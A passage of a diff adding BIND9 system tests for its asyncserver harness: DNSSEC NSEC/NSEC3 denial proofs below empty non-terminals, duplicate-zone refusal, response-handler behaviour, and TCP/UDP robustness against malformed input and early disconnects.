bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/tests_empty_non_terminal.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/tests_empty_non_terminal.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/tests_empty_non_terminal.py 2026-10-12 13:12:08.127893925 +0000 @@ -0,0 +1,255 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +isctest.asyncserver denial of existence below an empty non-terminal + +In every zone ans1 serves here, ent.. exists only through +deep.ent.., so the closest encloser of y.ent.. is ent.. and +the wildcard the NXDOMAIN proof has to deny is *.ent.. A closest +encloser walked up with dns.zone.get_node() steps over the empty non-terminal, +because dnspython creates no node for it, and lands on the zone apex instead. + +Walking up over the nodes the zone does have is not enough either. RFC 5155 +1.3 calls what an NSEC3 proof needs the closest *provable* encloser, and 7.1 +leaves an empty non-terminal derived only from an insecure delegation with no +NSEC3 of its own, so in optout.test. the two enclosers differ: ent.. is +both, while for ent2.. only the apex is provable. + +optout.test. and salt.test. also exercise the NSEC3 parameters, which are +Opt-Out in the first zone and a non-empty salt in the second; a proof built +with hardcoded parameters finds none of the records it needs in either. +""" + +import dns.dnssec +import dns.dnssectypes +import dns.message +import dns.name +import dns.rdatatype +import pytest + +from isctest.template import ANS1, NS2 + +import isctest +import isctest.zone + +pytestmark = pytest.mark.extra_artifacts( + [ + "ans*/dsset-*", + "ans*/zones/*.db", + "ans*/zones/*.db.signed", + ] +) + +NSEC_ZONE = "nsec.test." +NSEC3_ZONE = "nsec3.test." +OPTOUT_ZONE = "optout.test." +SALTED_ZONE = "salt.test." + +SALT = bytes.fromhex("DEADBEEF") + +SIGNZONE_PARAMS = { + NSEC_ZONE: "", + NSEC3_ZONE: "-3 -", + OPTOUT_ZONE: "-3 - -A", + SALTED_ZONE: f"-3 {SALT.hex()}", +} + + +def bootstrap(): + trust_anchors = [] + for name, sign_params in SIGNZONE_PARAMS.items(): + zone = isctest.zone.Zone(name, ANS1, signed=True) + zone.configure(sign_params=sign_params) + trust_anchors += zone.trust_anchors("static-key") + return {"trust_anchors": trust_anchors} + + +def auth( + qname: str, qtype: dns.rdatatype.RdataType = dns.rdatatype.A +) -> dns.message.Message: + msg = isctest.query.create(qname, qtype, rd=False) + return isctest.query.udp(msg, ANS1.ip, timeout=3, attempts=3) + + +def resolve(qname: str) -> dns.message.Message: + msg = isctest.query.create(qname, dns.rdatatype.A) + return isctest.query.tcp(msg, NS2.ip, timeout=10, attempts=1) + + +def owners(section: list, rdtype: dns.rdatatype.RdataType) -> set: + return {rrset.name for rrset in section if rrset.rdtype == rdtype} + + +def nsec3_owner(zone: str, name: str = "@", salt: bytes | None = None) -> dns.name.Name: + """ + The owner of the NSEC3 record for `name`, given relative to `zone`: the + name the record is hashed from, which is the one it matches or, for a + covering record, the last existing name before the gap it spans. + """ + hashed = dns.dnssec.nsec3_hash( + dns.name.from_text(name, origin=dns.name.from_text(zone)), + salt, + 0, + dns.dnssectypes.NSEC3Hash.SHA1, + ) + return dns.name.from_text(f"{hashed}.{zone}") + + +def test_nsec_denial_uses_empty_non_terminal_as_closest_encloser(): + """ + RFC 4035 3.1.3.2: an NXDOMAIN denies the QNAME and the wildcard. The + wildcard is *.ent.nsec.test., which sorts between a.nsec.test. and + deep.ent.nsec.test.; an NSEC denying *.nsec.test. instead proves nothing + about the name that was asked for. + """ + res = auth(f"y.ent.{NSEC_ZONE}") + isctest.check.nxdomain(res) + assert owners(res.authority, dns.rdatatype.NSEC) == { + dns.name.from_text(f"deep.ent.{NSEC_ZONE}"), # covers y.ent.nsec.test. + dns.name.from_text(f"a.{NSEC_ZONE}"), # covers *.ent.nsec.test. + } + + +def test_nsec_denial_validates(): + res = resolve(f"y.ent.{NSEC_ZONE}") + isctest.check.nxdomain(res) + isctest.check.adflag(res) + + +# The NSEC3 cases come last: each of them can fail in a way that raises out of +# the prover, which takes the whole server down -- including the nsec.test. +# zone checked above. They are ordered so that a server which only gets part +# of the way still reports the first case it cannot handle. + + +def test_nsec3_denial_uses_empty_non_terminal_as_closest_encloser(): + """ + RFC 5155 7.2.2: an NXDOMAIN needs a closest encloser proof. m.nsec3.test. + exists only to keep the three records distinct: without it the NSEC3 + matching the closest encloser would cover the wildcard as well. + """ + res = auth(f"y.ent.{NSEC3_ZONE}") + isctest.check.nxdomain(res) + assert owners(res.authority, dns.rdatatype.NSEC3) == { + nsec3_owner(NSEC3_ZONE, "ent"), # matches the closest encloser + nsec3_owner(NSEC3_ZONE, "ns"), # covers y.ent.nsec3.test. + nsec3_owner(NSEC3_ZONE, "m"), # covers *.ent.nsec3.test. + } + + +def test_nsec3_denial_validates(): + res = resolve(f"y.ent.{NSEC3_ZONE}") + isctest.check.nxdomain(res) + isctest.check.adflag(res) + + +def test_salted_nsec3_denial_hashes_with_the_zones_parameters(): + """ + RFC 5155 4: the hash parameters are the ones in the zone's NSEC3PARAM. + salt.test. is the same shape as nsec3.test. signed with a salt, so a proof + hashed with no salt looks up three names none of which is in the chain. + """ + res = auth(f"y.ent.{SALTED_ZONE}") + isctest.check.nxdomain(res) + assert owners(res.authority, dns.rdatatype.NSEC3) == { + nsec3_owner(SALTED_ZONE, "ent", SALT), # matches the closest encloser + nsec3_owner(SALTED_ZONE, salt=SALT), # covers y.ent.salt.test. + nsec3_owner(SALTED_ZONE, "deep.ent", SALT), # covers *.ent.salt.test. + } + + +def test_salted_nsec3_denial_validates(): + res = resolve(f"y.ent.{SALTED_ZONE}") + isctest.check.nxdomain(res) + isctest.check.adflag(res) + + +def test_optout_denial_uses_empty_non_terminal_as_closest_encloser(): + """ + RFC 5155 7.1: Opt-Out exempts only the empty non-terminals derived from + the insecure delegations it covers. ent.optout.test. is not one of those + -- it exists through the authoritative deep.ent.optout.test. -- so it is + matched by an NSEC3, and asking for one covering it instead fails. + """ + res = auth(f"y.ent.{OPTOUT_ZONE}") + isctest.check.nxdomain(res) + assert owners(res.authority, dns.rdatatype.NSEC3) == { + nsec3_owner(OPTOUT_ZONE, "ent"), # matches the closest encloser + nsec3_owner(OPTOUT_ZONE, "deep.ent"), # covers y.ent.optout.test. + nsec3_owner(OPTOUT_ZONE, "shim2"), # covers *.ent.optout.test. + } + + +def test_optout_denial_validates(): + """ + RFC 5155 9.2 makes an Opt-Out chain unable to prove that a name does not + exist, since the gap the QNAME falls in may hold an insecure delegation, + so the answer is NXDOMAIN without the AD bit rather than a secure one. A + proof the validator could not follow at all would be SERVFAIL. + """ + res = resolve(f"y.ent.{OPTOUT_ZONE}") + isctest.check.nxdomain(res) + isctest.check.noadflag(res) + + +def test_optout_denial_falls_back_to_the_closest_provable_encloser(): + """ + RFC 5155 1.3: what the proof needs is the closest *provable* encloser. + ent2.optout.test. exists only through the insecure delegation + deep.ent2.optout.test., which the Opt-Out chain skips, so RFC 5155 7.1 + leaves it with no NSEC3 and the proof has to climb past it to the apex. + Both a closest encloser taken from the nodes the zone has and one taken + from the NSEC3 chain answer ent.optout.test. above; this is the case that + tells them apart. + """ + res = auth(f"x.ent2.{OPTOUT_ZONE}") + isctest.check.nxdomain(res) + assert owners(res.authority, dns.rdatatype.NSEC3) == { + nsec3_owner(OPTOUT_ZONE), # matches the closest provable encloser + nsec3_owner(OPTOUT_ZONE, "deep.ent"), # covers ent2.optout.test. + nsec3_owner(OPTOUT_ZONE, "shim1"), # covers *.optout.test. + } + + +def test_optout_denial_falls_back_and_validates(): + res = resolve(f"x.ent2.{OPTOUT_ZONE}") + isctest.check.nxdomain(res) + isctest.check.noadflag(res) + + +def test_optout_nodata_at_empty_non_terminal_without_nsec3(): + """ + RFC 5155 7.1 leaves ent2.optout.test. with no NSEC3 to match, so the + NODATA proof is the closest provable encloser proof, as for the NXDOMAIN + above. + """ + res = auth(f"ent2.{OPTOUT_ZONE}") + isctest.check.noerror(res) + isctest.check.empty_answer(res) + assert owners(res.authority, dns.rdatatype.NSEC3) == { + nsec3_owner(OPTOUT_ZONE), # matches the closest provable encloser + nsec3_owner(OPTOUT_ZONE, "deep.ent"), # covers ent2.optout.test. + } + + +def test_optout_nodata_for_ds_at_insecure_delegation(): + """ + RFC 5155 7.2.4: with no NSEC3 matching the delegation, a DS query gets + the closest provable encloser proof instead. + """ + res = auth(f"deep.ent2.{OPTOUT_ZONE}", dns.rdatatype.DS) + isctest.check.noerror(res) + isctest.check.empty_answer(res) + assert owners(res.authority, dns.rdatatype.NSEC3) == { + nsec3_owner(OPTOUT_ZONE), # matches the closest provable encloser + nsec3_owner(OPTOUT_ZONE, "deep.ent"), # covers ent2.optout.test. + } diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/ans1/ans.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/ans1/ans.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/ans1/ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/ans1/ans.py 2026-10-12 13:12:07.950890140 +0000 @@ -0,0 +1,44 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +This is a bare-bones DNS server that only serves data from zone files. It is +meant to be used as a replacement for full-blown named instances in system +tests when a given server is only required to return zone-based data. + +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + BEWARE! THIS SERVER DOES NOT NECESSARILY RETURN PROTOCOL-COMPLIANT ANSWERS! +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +See AsyncDnsServer._abort_if_*() methods in isctests/asyncserver.py for more +details. Use a regular named instance for anything non-trivial. + +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + DO NOT ADD CUSTOM LOGIC TO THIS FILE. IT IS ONLY MEANT TO BE SYMLINKED INTO +ansX/ SUBDIRECTORIES IN SYSTEM TESTS TO REDUCE THE AMOUNT OF BOILERPLATE CODE. +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +If you need to customize server behavior, implement it in a dedicated ans.py +server in the system test at hand. If an extension you are working on can be +useful in other system tests, please consider opening a merge request extending +isctest/asyncserver.py. +""" + +from isctest.asyncserver import AsyncDnsServer + + +def main() -> None: + server = AsyncDnsServer() + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/ans1/zones/one.db bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/ans1/zones/one.db --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/ans1/zones/one.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/ans1/zones/one.db 2026-10-12 13:12:08.127893925 +0000 @@ -0,0 +1,4 @@ +$ORIGIN . +$TTL 300 +@ SOA ns.example. hostmaster.example. 1 2 3 4 5 +@ NS ns.example. diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/ans1/zones/two.db bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/ans1/zones/two.db --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/ans1/zones/two.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/ans1/zones/two.db 2026-10-12 13:12:08.127893925 +0000 @@ -0,0 +1,4 @@ +$ORIGIN . +$TTL 300 +@ SOA ns.example. hostmaster.example. 1 2 3 4 5 +@ NS ns.example. diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/tests_duplicate_root_zone.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/tests_duplicate_root_zone.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/tests_duplicate_root_zone.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/duplicate_root_zone/tests_duplicate_root_zone.py 2026-10-12 13:12:08.127893925 +0000 @@ -0,0 +1,17 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + + +def test_two_zone_files_with_the_same_origin_are_refused(ans1): + with ans1.watch_log_from_start() as watcher: + watcher.wait_for_line('zone "." is defined by more than one zone file') + # The server died as intended; keep stop.pl from reporting it at teardown. + (ans1.directory / "ans.pid").unlink() diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/response_handling/ans1/ans.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/response_handling/ans1/ans.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/response_handling/ans1/ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/response_handling/ans1/ans.py 2026-10-12 13:12:08.127893925 +0000 @@ -0,0 +1,92 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from collections.abc import AsyncGenerator + +import dns.flags +import dns.name +import dns.rcode +import dns.rdataclass +import dns.rdatatype +import dns.rrset + +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Qname + +ZONE = "response.test." + + +def txt(name: dns.name.Name, text: str) -> dns.rrset.RRset: + return dns.rrset.from_text( + name, 300, dns.rdataclass.IN, dns.rdatatype.TXT, f'"{text}"' + ) + + +class FreshResponseHandler(ResponseHandler): + """ + Send a response carrying the server's defaults but none of the zone data + prepared for the query. + """ + + matcher = Qname(f"fresh.{ZONE}") + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + yield DnsResponseSend(qctx.prepare_new_response(with_zone_data=False)) + + +class RenderedBeforeSendHandler(ResponseHandler): + """ + Render the response to wire before changing it, as a handler measuring + its size would; the changes must still reach the client. + """ + + matcher = Qname(f"rendered.{ZONE}") + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + qctx.response.to_wire() + qctx.response.answer.append(txt(qctx.qname, "added after rendering")) + yield DnsResponseSend(qctx.response, authoritative=False) + + +class RollbackHandler(ResponseHandler): + """ + Spoil the response prepared from zone data, then discard the changes with + QueryContext.prepare_new_response() before sending it. + """ + + matcher = Qname(f"rollback.{ZONE}") + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + qctx.response.set_rcode(dns.rcode.SERVFAIL) + qctx.response.flags &= ~dns.flags.AA + qctx.response.answer.append(txt(qctx.qname, "spoiled")) + yield DnsResponseSend(qctx.prepare_new_response()) + + +def main() -> None: + server = AsyncDnsServer(default_aa=True, default_rcode=dns.rcode.NOTIMP) + server.install_response_handlers( + FreshResponseHandler(), + RenderedBeforeSendHandler(), + RollbackHandler(), + ) + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/response_handling/ans1/zones/response.test.db bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/response_handling/ans1/zones/response.test.db --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/response_handling/ans1/zones/response.test.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/response_handling/ans1/zones/response.test.db 2026-10-12 13:12:08.127893925 +0000 @@ -0,0 +1,8 @@ +; Zone data for the response handlers in ans.py. fresh.response.test. is +; deliberately absent so that the zone data prepares an NXDOMAIN response for +; it. +response.test. 300 IN SOA ns.response.test. hostmaster.response.test. 1 3600 600 86400 300 +response.test. 300 IN NS ns.response.test. +ns.response.test. 300 IN A 10.53.0.1 +rollback.response.test. 300 IN A 192.0.2.1 +rendered.response.test. 300 IN A 192.0.2.2 diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/response_handling/tests_response_handling.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/response_handling/tests_response_handling.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/response_handling/tests_response_handling.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/response_handling/tests_response_handling.py 2026-10-12 13:12:08.127893925 +0000 @@ -0,0 +1,88 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import asyncio + +import dns.message +import dns.rcode +import dns.rrset +import dns.tsig +import pytest + +from isctest.asyncserver import _make_asyncserver_response +from isctest.asyncserver.actions import DnsResponseSend +from isctest.template import ANS1 + +import isctest + + +def query(qname: str) -> dns.message.Message: + msg = isctest.query.create(qname, "A", dnssec=False, rd=False) + return isctest.query.tcp(msg, ANS1.ip, timeout=3, attempts=1) + + +def test_rollback_restores_the_response_from_zone_data(): + res = query("rollback.response.test.") + isctest.check.noerror(res) + isctest.check.aaflag(res) + isctest.check.section_equal( + res.answer, + [dns.rrset.from_text("rollback.response.test.", 300, "IN", "A", "192.0.2.1")], + ) + + +def test_fresh_response_keeps_the_server_defaults(): + res = query("fresh.response.test.") + isctest.check.rcode(res, dns.rcode.NOTIMP) + isctest.check.aaflag(res) + isctest.check.empty_answer(res) + isctest.check.empty_authority(res) + + +def test_changes_after_rendering_reach_the_wire(): + res = query("rendered.response.test.") + isctest.check.noerror(res) + isctest.check.noaaflag(res) + isctest.check.section_equal( + res.answer, + [ + dns.rrset.from_text("rendered.response.test.", 300, "IN", "A", "192.0.2.2"), + dns.rrset.from_text( + "rendered.response.test.", 300, "IN", "TXT", '"added after rendering"' + ), + ], + ) + + +QUERY = dns.message.make_query("unit.test.", "A") + + +def perform(action: DnsResponseSend) -> dns.message.Message | bytes | None: + return asyncio.run(action.perform()) + + +def test_hand_rolled_response_is_refused(): + response = dns.message.make_response(QUERY) + action = DnsResponseSend(response) + with pytest.raises(RuntimeError, match="prepare_new_response"): + perform(action) + action = DnsResponseSend(response, acknowledge_hand_rolled_response=True) + assert perform(action) is response + + +def test_aa_change_on_a_signed_response_is_refused(): + response = _make_asyncserver_response(QUERY) + response.use_tsig(dns.tsig.Key("key.", "c2VjcmV0")) + response.to_wire() + assert response.tsig is not None + with pytest.raises(RuntimeError, match="TSIG"): + perform(DnsResponseSend(response, authoritative=True)) + assert perform(DnsResponseSend(response)) is response diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/transport/ans1/ans.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/transport/ans1/ans.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/transport/ans1/ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/transport/ans1/ans.py 2026-10-12 13:12:07.950890140 +0000 @@ -0,0 +1,44 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +This is a bare-bones DNS server that only serves data from zone files. It is +meant to be used as a replacement for full-blown named instances in system +tests when a given server is only required to return zone-based data. + +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + BEWARE! THIS SERVER DOES NOT NECESSARILY RETURN PROTOCOL-COMPLIANT ANSWERS! +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +See AsyncDnsServer._abort_if_*() methods in isctests/asyncserver.py for more +details. Use a regular named instance for anything non-trivial. + +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + DO NOT ADD CUSTOM LOGIC TO THIS FILE. IT IS ONLY MEANT TO BE SYMLINKED INTO +ansX/ SUBDIRECTORIES IN SYSTEM TESTS TO REDUCE THE AMOUNT OF BOILERPLATE CODE. +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +If you need to customize server behavior, implement it in a dedicated ans.py +server in the system test at hand. If an extension you are working on can be +useful in other system tests, please consider opening a merge request extending +isctest/asyncserver.py. +""" + +from isctest.asyncserver import AsyncDnsServer + + +def main() -> None: + server = AsyncDnsServer() + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/transport/ans1/zones/example.db bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/transport/ans1/zones/example.db --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/transport/ans1/zones/example.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/transport/ans1/zones/example.db 2026-10-12 13:12:08.128893946 +0000 @@ -0,0 +1,4 @@ +example. 300 IN SOA ns.example. hostmaster.example. 1 3600 600 86400 300 +example. 300 IN NS ns.example. +ns.example. 300 IN A 10.53.0.1 +bar.example. 300 IN A 192.0.2.2 diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/transport/ans2/ans.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/transport/ans2/ans.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/transport/ans2/ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/transport/ans2/ans.py 2026-10-12 13:12:08.128893946 +0000 @@ -0,0 +1,41 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import asyncio +import gc + +from isctest.asyncserver import AsyncDnsServer +from isctest.asyncserver.context import Peer +from isctest.asyncserver.handlers import IgnoreAllConnections + + +class IgnoreAllConnectionsThenCollectGarbage(IgnoreAllConnections): + """ + Ignore every TCP connection and collect garbage a second after accepting + it: unless the objects behind an ignored connection are kept alive on + purpose, the collection destroys the task handling it. + """ + + async def handle( + self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter, peer: Peer + ) -> None: + await super().handle(reader, writer, peer) + asyncio.get_running_loop().call_later(1, gc.collect) + + +def main() -> None: + server = AsyncDnsServer() + server.install_connection_handler(IgnoreAllConnectionsThenCollectGarbage()) + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/transport/tests_transport.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/transport/tests_transport.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/transport/tests_transport.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/transport/tests_transport.py 2026-10-12 13:12:08.128893946 +0000 @@ -0,0 +1,112 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import os +import socket +import struct +import time + +import dns.exception +import dns.message +import dns.query +import pytest + +from isctest.template import ANS1, ANS2, Nameserver + +import isctest + +TIMEOUT = 3 +GARBAGE = b"\x00\x03\x00\x01\x02" # three bytes of nonsense, framed for TCP + + +def port() -> int: + return int(os.environ["PORT"]) + + +def query() -> dns.message.Message: + return isctest.query.create("bar.example.", "A", dnssec=False, rd=False) + + +def tcp_exchange( + server: Nameserver, + *items: dns.message.Message | bytes, + reset: bool = False, + wait: float = TIMEOUT, +) -> tuple[list[dns.message.Message], bool]: + """ + Send the items over a new TCP connection, messages framed and bytes as + they are, and return the responses that arrive within `wait` seconds, + plus whether the server closed the connection. With `reset`, tear the + connection down with an RST segment instead of a FIN. + """ + with socket.create_connection((server.ip, port()), timeout=TIMEOUT) as sock: + if reset: + sock.setsockopt( + socket.SOL_SOCKET, socket.SO_LINGER, struct.pack("ii", 1, 0) + ) + for item in items: + if isinstance(item, bytes): + sock.sendall(item) + else: + dns.query.send_tcp(sock, item) + sock.setblocking(False) # as dns.query.receive_tcp() expects + responses = [] + try: + while True: + responses.append(dns.query.receive_tcp(sock, time.time() + wait)[0]) + except dns.exception.Timeout: + return responses, False + except EOFError: + return responses, True + + +def check_still_answering() -> None: + for transport in (isctest.query.udp, isctest.query.tcp): + res = transport(query(), ANS1.ip, timeout=TIMEOUT, attempts=2) + isctest.check.noerror(res) + isctest.check.rr_count_eq(res.answer, 1) + + +def test_server_survives_invalid_udp_query(): + with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock: + sock.sendto(GARBAGE, (ANS1.ip, port())) + check_still_answering() + + +def test_invalid_tcp_query_is_dropped_but_the_connection_kept(): + msg = query() + responses, closed = tcp_exchange(ANS1, GARBAGE, msg) + assert [res.id for res in responses] == [msg.id] + assert not closed + check_still_answering() + + +@pytest.mark.parametrize("reset", [False, True], ids=["fin", "rst"]) +@pytest.mark.parametrize( + "partial", + [b"", b"\x00", query().to_wire(prepend_length=True)[:-3]], + ids=["nothing", "length", "message"], +) +def test_server_survives_early_disconnect(partial, reset): + tcp_exchange(ANS1, partial, reset=reset, wait=0) + check_still_answering() + + +def test_pipelined_tcp_queries_are_all_answered(): + msgs = [query() for _ in range(3)] + responses, _ = tcp_exchange(ANS1, *msgs) + assert [res.id for res in responses] == [msg.id for msg in msgs] + + +def test_ignored_tcp_connection_survives_garbage_collection(): + responses, closed = tcp_exchange(ANS2, query()) + assert not responses + assert not closed diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/zone_data/ans1/ans.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/zone_data/ans1/ans.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/zone_data/ans1/ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/zone_data/ans1/ans.py 2026-10-12 13:12:07.950890140 +0000 @@ -0,0 +1,44 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +This is a bare-bones DNS server that only serves data from zone files. It is +meant to be used as a replacement for full-blown named instances in system +tests when a given server is only required to return zone-based data. + +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + BEWARE! THIS SERVER DOES NOT NECESSARILY RETURN PROTOCOL-COMPLIANT ANSWERS! +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +See AsyncDnsServer._abort_if_*() methods in isctests/asyncserver.py for more +details. Use a regular named instance for anything non-trivial. + 